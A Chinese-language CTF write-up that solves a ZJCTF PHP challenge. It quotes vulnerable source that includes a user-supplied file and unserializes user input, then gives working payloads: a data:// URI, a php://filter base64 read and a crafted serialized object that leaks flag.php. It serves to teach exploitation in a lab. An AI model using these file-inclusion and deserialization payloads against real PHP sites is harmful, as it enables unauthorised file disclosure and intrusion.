题目给出的PHP源码如下:
$text = $_GET['text'];
$file = $_GET['file'];
$password = $_GET['password'];
if (isset($text) && file_get_contents($text, 'r') === 'welcome to the zjctf') {
echo "
" . file_get_contents($text, 'r') . "
";
if (preg_match('/flag/', $file)) {
echo "Not now!";
exit();
} else {
include($file);
$password = unserialize($password);
echo $password;
}
} else {
highlight_file(__FILE__);
}
?>
该题目需要传递三个参数:text、file 和 password。
首先,我们需要使 text 参数的内容为 'welcome to the zjctf',可以使用 data 协议实现:
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
接下来,我们需要处理 file 参数。直接访问 useless.php 并没有显示任何内容,因此可以使用 PHP 伪协议将其内容以 base64 编码形式读取:
?file=php://filter/read=convert.base64-encode/resource=useless.php
将上述两个参数结合,形成如下 payload:
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
解码 base64 后的内容如下:
class Flag {
public $file;
public function __toString() {
if (isset($this->file)) {
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
从解码后的代码可以看出,如果能够成功调用 Flag 类,并设置其 $file 属性为 flag.php,则可以通过反序列化获取 flag。构造如下序列化字符串:
$a = new Flag();
$a->file = 'flag.php';
echo serialize($a);
// 序列化结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终的 payload 如下:
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
通过上述步骤,我们可以成功获取到 flag。
总结:本题主要考察了 PHP 伪协议的使用、data 协议传递数据以及反序列化漏洞的利用。希望本文能帮助大家更好地理解这些技术点。